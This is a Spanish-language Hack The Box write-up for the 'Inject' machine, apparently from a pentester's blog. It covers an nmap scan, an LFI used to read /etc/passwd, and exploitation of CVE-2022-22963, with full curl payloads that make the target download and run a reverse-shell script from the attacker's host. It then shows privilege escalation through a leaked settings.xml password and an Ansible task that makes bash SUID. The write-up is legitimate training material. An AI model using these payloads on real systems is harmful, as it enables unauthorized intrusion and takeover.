Rug4lo


Hacker • Red teamer • Pentester




HTB - Inject

Inject

Contenido

Reconocimiento

Vamos a empezar haciendo un escaneo de puertos con Nmap

❯ nmap -p- --open -T5 -sS -min-rate 5000 -vvv -n -Pn -oG allports 10.10.11.204

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-04 16:31 CEST
Initiating SYN Stealth Scan at 16:31
Scanning 10.10.11.204 [65535 ports]
Discovered open port 8080/tcp on 10.10.11.204
Discovered open port 22/tcp on 10.10.11.204
Completed SYN Stealth Scan at 16:32, 14.18s elapsed (65535 total ports)
Nmap scan report for 10.10.11.204
Host is up, received user-set (0.11s latency).
Scanned at 2023-10-04 16:31:58 CEST for 14s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.31 seconds
           Raw packets sent: 70185 (3.088MB) | Rcvd: 69796 (2.792MB)

Ahora vamos a user Nmap con los scripts de reconocimiento básicos

❯ nmap -sCV -p22,8080 10.10.11.204 -oN Targeted

Nmap scan report for 10.10.11.204
Host is up (0.14s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds

Si miramos un poco la pagina veremos que tiene un apartado de subida de archivos

Inject

Explotación del LFI

Cuando subimos un archivo veremos que nos deja ver la imagen que hemos subido, pero si miramos con detalle la url, veremos que hay posibilidad de que se acontezca un LFI

Inject

Podemos probar a listar el etc/passwd de la maquina (con burpsuite podremos ver el output)

Inject

También podremos ver que tenemos capacidad de directory listing

Inject

Con todo esto podemos ir buscando si hay algo interesante, si buscamos, encontraremos que esta pagina esta usando springframework

Inject Inject

Abuso del Spring-framework desactualizado

Buscando encontraremos un CVE para ese servicio

CVE –> https://github.com/me2nuk/CVE-2022-22963

Si hacemos la peticion tal como indica el CVE y le indicamos que haga un ping a nuestra maquina, veremos que ejecuta el comando perfectamente

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.9:8081")' --data-raw 'data' -v

Ahora podemos probar a enviar una Reverse Shell, pero no nos funcionara, como solución a esto podemos crear un archivo con el comando de la Reverse Shell en nuestro directorio de trabajo y hacer que se lo descargue para posteriormente ejecutarlo

Si creamos un servidor http con Python en el directorio donde tenemos la reverseshell y le hacemos un curl a este, podremos ver con el LFI que nos lo hemos descargado

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.9:8081/reverse.sh -o /var/www/WebApp/reverse")' --data-raw 'data' -v

Ahora solo tendríamos que ejecutarlo

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /var/www/WebApp/reverse")' --data-raw 'data' -v

Escalada Usuario Frank a Phill

Y con esto ya tendíamos acceso al usuario Frank, ahora para conseguir la flag necesitamos escalar al usuario Phil

Dentro del home del usuario Frank, podemos ver que hay una carpeta rara (.m2), esta carpeta contiene un settings.xml el cual contiene la contraseña para el usuario Phil

Inject

Escalada Usuario Phill a Root

Si probamos esta contraseña veremos que es correcta y podremos acceder a la user flag.

Inject

Ahora para la root, empezamos pasándonos el pspy a nuestra maquina victima, con el veremos que hay un proceso curioso cuanto menos

Inject

Hay un proceso automático ejecutando todos los archivos .yml de la carpeta /tasks

Vamos a la carpeta, y veremos que como estamos en el grupo staff podemos crear archivos dentro!

Inject

Ahora crearemos un .yml que ejecute un comando para que la bash se vuelva SUID cuando ansible ejecute este archivo:

Inject

Cuando el proceso se ejecute borrara nuestro yml pero nos pondrá la bash en SUID

Inject

Ahora solo hay que ejecutarla

/bin/bash -p

Y ya tendremos acceso a la root flag

Inject



Recent

HTB - GoodGames

Resolucion de la maquina GoodGames - Easy

SQLIPassword ReuseSSTIDocker Breakout
Recent

HTB - Blue

Resolucion de la maquina Blue - Easy

WindowsEthernal Blue